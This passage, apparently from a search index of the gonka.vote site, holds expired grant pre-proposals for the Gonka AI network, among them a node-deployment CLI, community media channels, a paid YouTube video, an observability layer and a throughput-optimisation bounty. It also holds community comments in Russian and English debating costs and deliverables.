Как дела? Сервисом по кабинету для майнеров (классная идея) кто-то пользуется? Вход в экосистему Gonka через кошелек Telegram - прикольно.
О предложении: 1. Это предложение, как я вижу, ничего не имеет общего с вашим предыдущим проектом, верно? Т.е. это - отдельная идея.
Какого результата вы ожидаете? Желательно в цифрах.
Я несколько раз прочитал, и не смог понять, что должно получиться по итогу. Типа фриланс биржа по разработке ботов на базе Gonka? Есть ли аналоги?
View on gonka.vote
"}, {"location": "proposals/preproposals/2cbbe98e-ceff-4f09-a1cd-e8d370e97fde/", "title": "Gonka NOP: ретроактивный грант + финансирование поддержки и новых фич.", "text": "🔴 ExpiredAuthor: O D Created: 2026-05-13 18:30 UTC Closes: 2026-05-20 18:30 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Профинансировать gonka-nop — существующий CLI для быстрого развёртывания и обслуживания ноды Gonka: ретроактивно за уже сделанную разработку, за дальнейшую поддержку и за разработку новых функций.
"}, {"location": "proposals/preproposals/2cbbe98e-ceff-4f09-a1cd-e8d370e97fde/#full-proposal", "title": "Full Proposal", "text": "TL;DR
Профинансировать gonka-nop — существующий CLI для быстрого развёртывания и обслуживания ноды Gonka: ретроактивно за уже сделанную разработку, за дальнейшую поддержку и за разработку новых функций.
Что такое gonka-nop
Gonka NOP — единый CLI-инструмент для запуска и обслуживания нод Gonka AI.
Сам определяет состояние сервера, доустанавливает недостающие зависимости и поднимает компоненты в нужном порядке. Поддерживает разные топологии: самостоятельную Network Node, Network Node + ML Node на одном сервере, а также распределённые конфигурации Network Node с несколькими ML Node на отдельных серверах. Работает в двух режимах — в интерактивном диалоговом для ручного запуска и в режиме с передачей параметров командной строки для скриптов, Ansible. Вся специфика Gonka — актуальные версии образов, рекомендованные vLLM-конфиги под каждый тип GPU, порядок запуска контейнеров — уже зашита в инструмент и обновляется вместе с релизами.
Пользователям без опыта достаточно арендовать сервер — установку и запуск Gonka-ноды берёт на себя NOP. Не нужно разбираться, как устанавливать драйверы и зависимости, как настраивать конфиги под GPU, как регистрировать ноду в сети. Нужно лишь ответить на несколько простых вопросов в интерактивном мастере. Для опытных администраторов - упрощает управление нодами и изменение их конфигурации, может встраиваться в Ansible-плейбуки.
https://github.com/inc4/gonka-nop/blob/main/README.md - ридми
https://www.youtube.com/watch?v=1t9GEMN92Vo - лайв демо by Mitch
Проблема
Развёртывание ноды Gonka сегодня — это многошаговый процесс с несколькими разнородными компонентами, требующий знания в различных областях. Нужно подготовить сервер, установить и связать между собой несколько слоёв инфраструктуры — зависимости, драйверы, Docker, различные Gonka-компоненты — подобрать параметры под конкретное железо, отредактировать конфиги и зарегистрировать ноду в сети. После запуска её ещё нужно поддерживать в рабочем состоянии и реагировать на инциденты. Это трудоёмко даже для опытного администратора и почти невыполнимо для пользователя без подобного опыта.
Предложение
gonka-nop — уже работающий инструмент, который требует регулярного сопровождения и развития новых возможностей. Предлагается выделить грант из CommunityPool, который покрывает:
Структура вознаграждения (для обсуждения)
Совокупный размер гранта — порядка 50 000 USDT (или эквивалент в GNK), пакетом за все три направления.
Что это дает сети
Грант приносит пользу не отдельным группам участников, а сети в целом. Прямо сейчас эффект может казаться неочевидным: операторов немного, и большинство справляется собственными силами. Но устойчивый рост сети потребует простого пути подключения для тех, кто только присматривается к Gonka, и поддержки этого пути в актуальном состоянии — иначе рост упрётся в порог входа, который преодолевают далеко не все. NOP — часть этой инфраструктуры, а этот грант - это инвестиция в ее будущий рост.
Вопросы
К обсуждению принимаются любые вопросы. Начать можно с этих:
2026-05-13 18:38 · 👍 2 · 👎 0
Дополнительные ссылки:
https://youtu.be/kQGPSxLaakE?t=829 https://youtu.be/kQGPSxLaakE?t=1988
"}, {"location": "proposals/preproposals/2cbbe98e-ceff-4f09-a1cd-e8d370e97fde/#_1", "title": "💬 Дмитрий В", "text": "2026-05-14 00:24 · 👍 1 · 👎 0
Абсолютно крутой инструмент и нужная работа. Тем более если целиться в рост +100 +1000 партисипонтов ежемесячно.
"}, {"location": "proposals/preproposals/2cbbe98e-ceff-4f09-a1cd-e8d370e97fde/#evgenii-maksimenkov", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-14 08:54 · 👍 1 · 👎 0
Вещь важная и нужная. Но $50k многовато имхо. Также возможно быть не своевременно - NOP пригодится при следующей волне новых майнеров.
"}, {"location": "proposals/preproposals/2cbbe98e-ceff-4f09-a1cd-e8d370e97fde/#mikhail-chudinov", "title": "💬 Mikhail Chudinov", "text": "2026-05-14 16:59 · 👍 1 · 👎 0
Ну так это же классно, что к следующей волне майнеров, такой инструмент уже будет обкатан, а не начнет делаться внезапно. Да, чуть дороговато, но не то чтоб прям супер дорого. Топовые разрабы которые участвовали в многих крипто проектах и привыкли очень хорошо зарабатывать. Мне очень нравится команда которая стоит за nop, и хочется чтобы они остались с гонкой. Они бы дальше и в сам блокчейн могли контрибутить.
View on gonka.vote
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/", "title": "Index", "text": "title: \"Team Gonka.AI | Inside Grant Request\" template: proposals-main.html
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#team-gonkaai-inside-grant-request", "title": "Team Gonka.AI | Inside Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:39 UTC Closes: 2026-07-11 05:39 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Russian-speaking Gonka media channel that has already attracted miners and plans to grow audience, promote pools, exchanges, use cases, and ecosystem projects.
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the author plans to continue developing the Telegram channel “Gonka.AI | Inside” as a Russian-speaking media and community hub for Gonka.
The main goals are:
All of this will be done by one person — a student who believes in Gonka and is building a community around it.
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The applicant launched the Telegram channel “Gonka.AI | Inside” on May 1, 2026.
Within one month, the channel grew to 234 live subscribers with a 70%+ view conversion rate within 24 hours. It has become an active Russian-speaking platform for Gonka news, update breakdowns, mining guides, GPU analytics, and cost analysis.
The channel was mentioned during an official marketing call as one of the most responsive and active community channels.
Through the channel, the applicant personally invited 44 people to the Ancapex mining pool. Together, these users deposited more than $3,200 into the pool and continue to mine, supporting the network.
The applicant also ran a 300 GNK giveaway to draw attention to the project and help newcomers try the token. According to the applicant, this brought dozens of new participants into the ecosystem.
In addition, the channel supports small startups and ecosystem groups by publishing reviews, sharing new initiatives, and giving them visibility.
The applicant positions “Gonka.AI | Inside” as one of the leading Russian-speaking Gonka channels, with an active audience that reads posts, watches updates, clicks links, and converts into miners. The stated referral conversion rate is almost 19%.
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka1c3lrggulyl9xpsvnnjpykhyzvk7l5fcd92w63n
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "960564245471301683
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#email-address", "title": "Email Address", "text": "andres88005553535@gmail.com
"}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/4792a93f-127a-4a0e-9a12-acd229c1e865/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 06:38 · 👍 0 · 👎 0
Привет! Речь идет про этот канал: https://t.me/newsgonkaai Забыл добавить ссылку )
А это - рекламный канал, верно? Суть канала - приглашение людей в Майнинг пул Анкапекс. Приглашение по реферальной программе. Omniverse, NOVA - молодые проекты. Нужно с ними повнимательнее. Хорошо бы, чтобы они сами о своих продуктах рассказали в Комьюнити, а то что-то не слышно новостей )
Вопросы: 1. Сколько GNK тебе нужно на три месяца? 2. Какие обязательства ты готов дать? Желательно в цифрах 3. Я вижу, что очень много постов в канале - это просто Репосты из других каналов. Чем твой канал лучше других?
Спасибо за инициативу! Я подписан ))
View on gonka.vote
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/", "title": "8. Team Gonka.TV Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:48 UTC Closes: 2026-07-11 05:48 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team Gonka.TV creates news, education videos, and interviews for the Gonka community and plans to continue video production.
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the team plans to continue producing video content for the Gonka community.
The main focus will be on news, educational videos, and interviews related to Gonka, AI, and the broader ecosystem.
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The team has already produced news and educational videos for the Gonka community, as well as interviews with AI YouTubers.
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka1fx65y7jfce6q4cj3zf7wvfuse3juu7c8gg0hqp
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "mitchseed
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#email-address", "title": "Email Address", "text": "newmitch@gmail.com
"}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/47ab8faa-f9bd-41ba-8e86-6c760d4975a6/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:30 · 👍 0 · 👎 0
)) Я прочитал это предложение и прям улыбнулся. Оно по приколу сделано? ))
А теперь серьезно: 1. Как часто планируются ролики? Хорошо бы иметь цифры. 2. Будет ли монтаж? 3. Будет ли перевод на другие языки? (тут я могу помочь) 4. Презентабельность добавим? Задний план, картинка, фоновые звуки 5. Логотип бы ) 6. Работает команда? 7. Сколько средств ты бы хотел получить на 3 месяца производства контента?
Мне нравятся твои видео. Всегда их смотрю. Ты умеешь последовательно излагать и не терять мысль по ходу изложения.
Молодец! )
View on gonka.vote
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/", "title": "Большое видео на канале Falcon Finance (Александр Соколовский)", "text": "🔴 ExpiredAuthor: Дмитрий В Created: 2026-04-28 23:39 UTC Closes: 2026-05-28 23:38 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Предлагаю выделить $70k на видео у Александра Соколовского. Тема: два сценария будущего. Gonka — как главный пример децентрализации. Бессрочная публикация.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#full-proposal", "title": "Full Proposal", "text": "Большое видео на канале Falcon Finance (Александр Соколовский)
Привет всем!
Выношу на предварительное обсуждение сильную маркетинговую возможность.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_1", "title": "📌 О канале", "text": "Именно Александр Соколовский в октябре 2025 года выпустил одно из самых популярных и глубоких интервью с братьями Либерманы («Open AI — это пузырь»). Многие участники нашего сообщества впервые узнали о Gonka AI именно из этого видео.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_2", "title": "🔥 Почему это предложение особенно ценно", "text": "Видео на канале собирают тысячи комментариев — люди активно обсуждают, спорят и делятся мнениями. Это говорит о высоком вовлечении и доверии аудитории. Контент здесь не пролетает мимо, а вызывает серьёзную рефлексию.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_3", "title": "💡 Идея видео", "text": "Формат: большое авторское видео (25–35 минут) в уже привычном для канала формате.
Основная тема: «Два сценария будущего» — два пути развития мира в эпоху искусственного интеллекта:
Gonka AI будет представлена как один из самых серьёзных и перспективных проектов, реализующих именно второй (позитивный) сценарий — полезный Proof-of-Work, открытая сеть вычислений и реальная альтернатива централизованным корпорациям.
Видео будет сделано в высоком качестве Falcon Finance: сильный сценарий, качественный монтаж, эмоциональная подача и глубокий анализ.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_4", "title": "📦 Что входит в предложение", "text": "$70 000 (GNK или USDT)
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#gonka", "title": "Почему это хорошая инвестиция для Gonka", "text": "«70 тысяч долларов — это очень дорого»
Для сравнения: обычная 2-минутная рекламная интеграция на канале Александра Соколовского стоит чуть больше 17 000 долларов. При этом она носит чисто информационный характер и не имеет глубокого рекомендательного веса. В нашем случае мы получаем не короткую рекламную вставку, а полноценное большое авторское видео длительностью 25–30 минут, сделанное в фирменном высоком качестве канала. Gonka AI будет интегрирована естественно и глубоко как важная часть позитивного сценария будущего. Кроме того, это эксклюзивная и уникальная возможность именно для нас, ранее на канале не выходило «платных видео».
«Мы можем найти более дешёвые варианты продвижения»
Хороших каналов действительно немало, однако к ним крайне тяжело подойти с около-крипто продуктом. Ещё сложнее убедить автора принять оплату в монете проекта. И важно отметить, что каналов именно с такой концентрацией подходящей ЦА не так много. Подходящая ЦА — люди, которым может быть не всё равно и у которых срезонирует идея децентрализованного AI, и уже среди них могут быть и ранее инвесторы, и разработчики, и другие категории участников.
«Видео может не набрать просмотров»
На канале Falcon Finance очень часто поднимается тема будущего, неопределённости, влияния технологий на экономику и общество. Видео в формате «Два сценария будущего» естественным образом впишется в существующие интересы аудитории. Предыдущие видео в похожем стиле стабильно собирают сотни тысяч просмотров и тысячи комментариев, что говорит о высоком потенциале органического охвата и долгосрочного интереса.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_7", "title": "🗣 Вопросы для обсуждения", "text": "Хотел бы услышать ваше мнение по следующим вопросам:
Если после обсуждения идея найдёт поддержку, подготовлю полный формальный пропосал для голосования.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_8", "title": "⚠️ Важные условия и уточнения", "text": "Жду ваших комментариев и обратной связи.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#comments-14", "title": "Comments (14)", "text": ""}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_9", "title": "💬 Дмитрий В", "text": "2026-04-29 01:03 · 👍 1 · 👎 0
Да, я из команды Александра.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_10", "title": "💬 Дмитрий В", "text": "2026-04-29 01:21 · 👍 1 · 👎 0
Завтра посмотрю стату, поделюсь если есть такая инфа. Хотя и тот и тот вариант на мой взгляд ок, получать новых и греть старых тоже норм. Как мы видим сконвертилось за все время в RU чаты со всех источников ~2к человек на текущий момент, так что полезно бы и погреть старых.
Кстати добавил бы сюда уведомления.) Хотя бы для автора тендера, чтобы мог сразу отвечать на вопросы. И прикреплять изображения еще, если можно.)
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_11", "title": "💬 Дмитрий В", "text": "2026-04-29 09:04 · 👍 1 · 👎 0
Помимо всего прочего, это как я и написал «сильная маркетинговая возможно», ни меньше. Если тут будут маркетологи, было бы интересно их мнение.)
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#sergey-il", "title": "💬 Sergey il", "text": "2026-06-07 14:03 · 👍 1 · 👎 0
В текущем виде данное предложение полное безумие. Хотя и я хорошо отношусь к данному автору.
1.На его второстепенном канале. 2.Упоминание вскользь. 3.Оплата если будет токенами они пойдут сразу в стакан по данному предложению ( безумие ) . 4.И все это за 70 тыщ $. 5. Сам факт отсутствия желания держать токены говорит, что автор не энтузиаст Gonka, зачем ему из данного проекта выделать тогда такую сумму на таком раннем этапе. Разумней выделять бюджет энтузиастам проекта, которые готовы вкладывать свои силы долгосрочно.
Это выглядит супер оверпрайс при таких условиях. А тем более на данном этапе проекта.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#evgenii-maksimenkov", "title": "💬 Evgenii Maksimenkov", "text": "2026-04-29 01:00 · 👍 0 · 👎 0
В тендере говориться: “мы готовы её рассмотреть, но ничего не обещаем”. Не совсем понятно от чего лица она выставлена. Дмитрий из команды Александра? Или это просто взято с сайта?
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#evgenii-maksimenkov_1", "title": "💬 Evgenii Maksimenkov", "text": "2026-04-29 01:11 · 👍 0 · 👎 0
А есть ли какие-то данные на сколько аудитория канала Falcon Finance пересекается с аудиторией канала с подкастами, где уже было интервью с братьями? Другими словами: сколько получится получить новой аудитории, которая ещё не видела интервью?
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#evgenii-maksimenkov_2", "title": "💬 Evgenii Maksimenkov", "text": "2026-04-29 01:35 · 👍 0 · 👎 0
Согласились бы вы получить сумму в GNK с вестингом?
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#alex-sharoiko", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-04-29 04:15 · 👍 0 · 👎 0
Кажется, ты хотел составить таблицу со списком потенциальных каналов. Давайте с этого начнем. Какие еще каналы популярные есть на разных языках, и какие там цены? Есть ли каналы, которые готовы разместить контент бесплатно?
Братья уже ведь были на его канале. https://www.youtube.com/watch?v=wp7izqZmiWM&t=3121s Думаешь, аудитория там не пересекается? То интервью было платным?
Есть ли в сумме 70 000 комиссия организатора пропоузела?
Русский язык - это лишь малая часть интернета. Я предлагаю приложить усилия по выходу на международный уровень.
2026-04-29 08:17 · 👍 0 · 👎 0
В общем в цифрах это не замерить. Но можно посмотреть косвенно по метрике «Что смотрят ваши зрители». На основном канале подкаста есть зрители которые за последнюю неделю посмотрели видео на канале Falcon Finance, но видео занимает 10 место из 15 других видео на других известных популярных каналах, там в основном подкасты и нонфикшн. Это низкая позиция, но какая-то доля есть. Это порядки думаю до 3-5%, точнее не возьмусь сказать.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_13", "title": "💬 Дмитрий В", "text": "2026-04-29 09:00 · 👍 0 · 👎 0
Если думаешь что для такого типа контента время не пришло, а для вертикальной рекламы у блогеров время пришло, напиши свои мысли. Я думаю не так, но можно пообсуждать тут сразу, может будут аргументы интересные. Я думаю надо брать возможность.
Было бы хорошо если бы пересекались аудитории, но что косвенно говорит стата — там максимум 3-5% пересечение, может и сильно меньше. Если было бы больше, было бы лучше на мой взгляд, чем больше касаний тем лучше.
Никакой комиссии не заложено. Я спросил команду стоимость, сюда ее принес как есть. Говорю как есть, у меня есть фикс процент за коммерческие коллабы которые мы создаем, но там даже не двухзначный процент если что. Но мой интерес есть, он стандартный, никаких сверх сумм тут не заложено.
Это тема не этой ветки. Я тоже думаю англоязычная аудитория ценнее, в долгую уж точно. Да, давай приложим усилия и выйдем еще и у англо аудитории.) Если вопрос намекает, что значит что на русскую совсем ничего не делать, даже не знаю что тут обсуждать.) я бы точно делал. Мне кажется это просто одно размещение из 100 которые будут. Если думать что это какое-то ван-шот гейм чейнд размещение, то это не так.)
2026-05-01 06:54 · 👍 0 · 👎 0
Тогда можно возвращать, скажем, каждые 100 эпох. Т.е. регулярно.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#ilgar", "title": "💬 Il’gar", "text": "2026-05-02 19:42 · 👍 0 · 👎 0
Как идею поддерживаю, но в моменте кажется избыточным. Прежде всего из-за стоимости. GonkaTv - канал для (!!!) комьюнити, видится мне куда более эффективным вложением указанной суммы. Он поможет формировать общую повестку и не выпадать из контекста тем, у кого нет возможности следить за чатами. Думаю, если получится быть интересными прежде всего самим себе, оставив чуть приоткрытой дверь, то все остальное приложится. Сори за оффтоп.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#alex-sharoiko_2", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-05-02 19:43 · 👍 0 · 👎 0
Последнее сообщение не в тот чат случайно отправил. Оно про возврат наград Хостерам за прошедшие эпохи.
"}, {"location": "proposals/preproposals/550f71de-897f-4ce5-8af8-97854775f8b2/#_14", "title": "💬 Дмитрий В", "text": "2026-04-29 08:06 · 👍 0 · 👎 1
GNK ок. С вестингом не хочется, так как в любом случае вся сумма будет обменена на стейблы условно почти сразу. Нам вестинг не интересен. Если есть аргументы почему следует именно с вестингом делать пропосал, то конечно точно можно обсуждать. Кажется сумма не большая, чтобы пройти по otc и не влиять на что-то в экономике гонки.
View on gonka.vote
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/", "title": "10. Team Alexander Kuprin Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:50 UTC Closes: 2026-07-11 05:50 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team Alexander Kuprin plans to build an observability layer to detect, trace, and analyze Gonka network issues faster.
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
The planned work is related to Track 0: Core stability and reliability of the Gonka Community Roadmap: https://github.com/gonka-ai/gonka/blob/main/proposals/gonka-network-development-roadmap.md
The team plans to build an observability technical layer for the Gonka network.
The current problem is that the network experiences issues that are difficult to test, detect, and analyze. At the moment, when a problem is reported, logs often need to be collected manually by contacting hosts individually. Even when some hosts provide logs, this may still not give a complete picture of the issue and its context.
The proposed observability layer should help collect network-wide data, identify problems faster, and support quicker decisions on improvements.
The planned functionality includes:
The hardware for storing gathered data is outside the scope of the current work. The data could be stored on multiple community servers that can be added to the list. The code will be open, tested, and provided so such servers can be deployed by the community.
The current work is planned to be done in collaboration with other contributors, and the grant reward will be shared.
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "Alexander Kuprin has personally contributed to Gonka through bug bounty work, protocol improvements, release management, and governance-related proposals.
Bug bounty and protocol-related work for address: gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56
Relevant upgrade files:
https://github.com/gonka-ai/gonka/blob/main/inference-chain/app/upgrades/v0_2_8/upgrades.go
https://github.com/gonka-ai/gonka/blob/main/inference-chain/app/upgrades/v0_2_10/upgrades.go
https://github.com/gonka-ai/gonka/blob/main/inference-chain/app/upgrades/v0_2_11/upgrades.go
https://github.com/gonka-ai/gonka/blob/main/inference-chain/app/upgrades/v0_2_12/upgrades.go
Release-related contribution:
https://github.com/gonka-ai/gonka/pull/1289
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka1ejkupq3cy6p8xd64ew2wlzveml86ckpzn9dl56
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "alexanderkuprin_
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#email-address", "title": "Email Address", "text": "kuprin.alexander@gmail.com
"}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/59175b49-b83f-4aa6-98f5-b27fffb23cd8/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:52 · 👍 0 · 👎 0
Привет! Это предложение выходит за рамки моего понимания.
Но вопросы я все-таки задам )) 1. Какие серверы нужны и сколько они стоят? 2. Кого ты планируешь привлечь в Контрибьюторы? Они об этом знают? 3. Сколько средств нужно на реализацию этого проекта? Т.е. сколько ты запрашиваешь? 4. Будут ли хосты делиться информацией? Как их мотивировать это делать?
Здорово, что есть такая инициатива! Чем больше инфы о работе сети, тем лучше!
View on gonka.vote
"}, {"location": "proposals/preproposals/6392c2ea-7fb8-45c7-b1ec-80fb16d81d93/", "title": "Bounty for open-source PoC throughput contributions", "text": "🔴 ExpiredAuthor: Serhii Hovorov Created: 2026-05-01 21:04 UTC Closes: 2026-05-08 21:04 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Pay a fixed GNK/USDT bounty to anyone who upstreams a reproducible ≥5% PoC throughput optimization. Lifts the network floor; rewards contribution over hoarding.
"}, {"location": "proposals/preproposals/6392c2ea-7fb8-45c7-b1ec-80fb16d81d93/#full-proposal", "title": "Full Proposal", "text": "Problem
PoC throughput optimizations are network-wide value, but today they stay private. A pool operator who finds a +5% kernel rewrite has every incentive to keep it secret — they get 5% more weight relative to the rest of the network for as long as nobody else has it. The result:
gonka-ai/vllm and mlnode repos This is a coordination failure, not a malice problem. There's no mechanism today that pays contributors for raising the network floor.
## Proposal
Establish a standing bounty in GNK for any PoC-related throughput optimization that meets all of these criteria:
gonka-ai/vllm, gonka-ai/mlnode, gonka-ai/inference-chain, or a designated successor.### Reward structure (for community discussion)
### Why this is fair to the rest of the network
The bounty is one-time per contribution and capped. The throughput gain is permanent and accrues to every miner forever. The community-pool trades a small fixed cost now for a permanent uplift in the network's earning capacity. Positive-sum by construction.
## Why now
A reward mechanism works best when there's already a verifiable example of someone choosing to upstream rather than hoard. There is one in flight today:
gonka-ai/vllm#36 — @torch.compile decorator on apply_householder. Measured +10.2% on 8×B200 and +12.5% on 8×H100 for Qwen3-235B-FP8. One-line change. Reproducible A/B harness in the PR. If this tender passes, that PR becomes the first concrete test of the bounty workflow: independent reproduction on community hardware, on-chain attestation, payout via a follow-up community-pool spend. Every future optimization — from anyone — would follow the same path.
Every week this stays unaddressed is a week where private wins outpace public ones. There are pool operators sitting on similar optimizations right now. A clear, public reward path flips the math from \"hoard\" to \"ship.\"
## What this is not
vllm#36 itself — that PR lands or not on its technical merits regardless of this tender. ## Open questions for the community
2026-05-04 14:34 · 👍 1 · 👎 0
Идея правильная, считаю что давать нужно минимум эквивалент 1000$ за каждый % прироста веса. Дала оптимизация +10% = выдать 10к$ Курс GNK может сильно плавать, поэтому такой бонус я бы привязывал к USD. Это будет хорошее, более понятное предложение для программистов, которые впервые услышали про гонку. Что тут можно пооптимизировать, понятным образом протестировать результат в нонсах в минуту скриптом и получить разовую приличную выплату в случае успеха.
Создавать отдельный пулл под финансирование не вижу смысла. Считаю что достаточно каждое такое улучшение проводить как пропозал отдельный, из комьюнити пула. В качестве верификации что эта оптимизация полезна выступают майнеры, своим голосованием.
View on gonka.vote
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/", "title": "5. Team Lefine Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:45 UTC Closes: 2026-07-11 05:45 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team Lefine built a proxy for Gonka models and plans to expand Gonka Inference through websites, APIs, chat bots, and AI developer tools.
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the team plans to expand the use of Gonka Inference across different interfaces, websites, tools, and chat bots.
The main deliverables include:
The goal is to make Gonka Inference easier to use in practical applications and expand its reach through developer tools, websites, APIs, and social interfaces.
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The team created a proxy that allows Gonka models to be called directly from ActivityPub / ForgeFed environments, including platforms such as Mastodon, Misskey, and Threads.
Project link: https://github.com/lefinepro/crater-openai
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka19lde9h69wzfsw3nj9yzltak7gcwrmjpvjpd7he
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "kogeletey
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#email-address", "title": "Email Address", "text": "itgood76@gmail.com
"}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/662adc44-01c4-41ca-9c0d-ac61f472ee56/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 08:34 · 👍 0 · 👎 0
Привет! Сайт не работает: https://lefine.pro/ или я не туда захожу? 2. Какие инструменты вы планируете использовать (или уже используете)? OpenSorce? 3. Это - коммерческий проект?
Очень круто, что у вас есть опыт реализации аналогичных проектов. Спасибо за инициативу!
View on gonka.vote
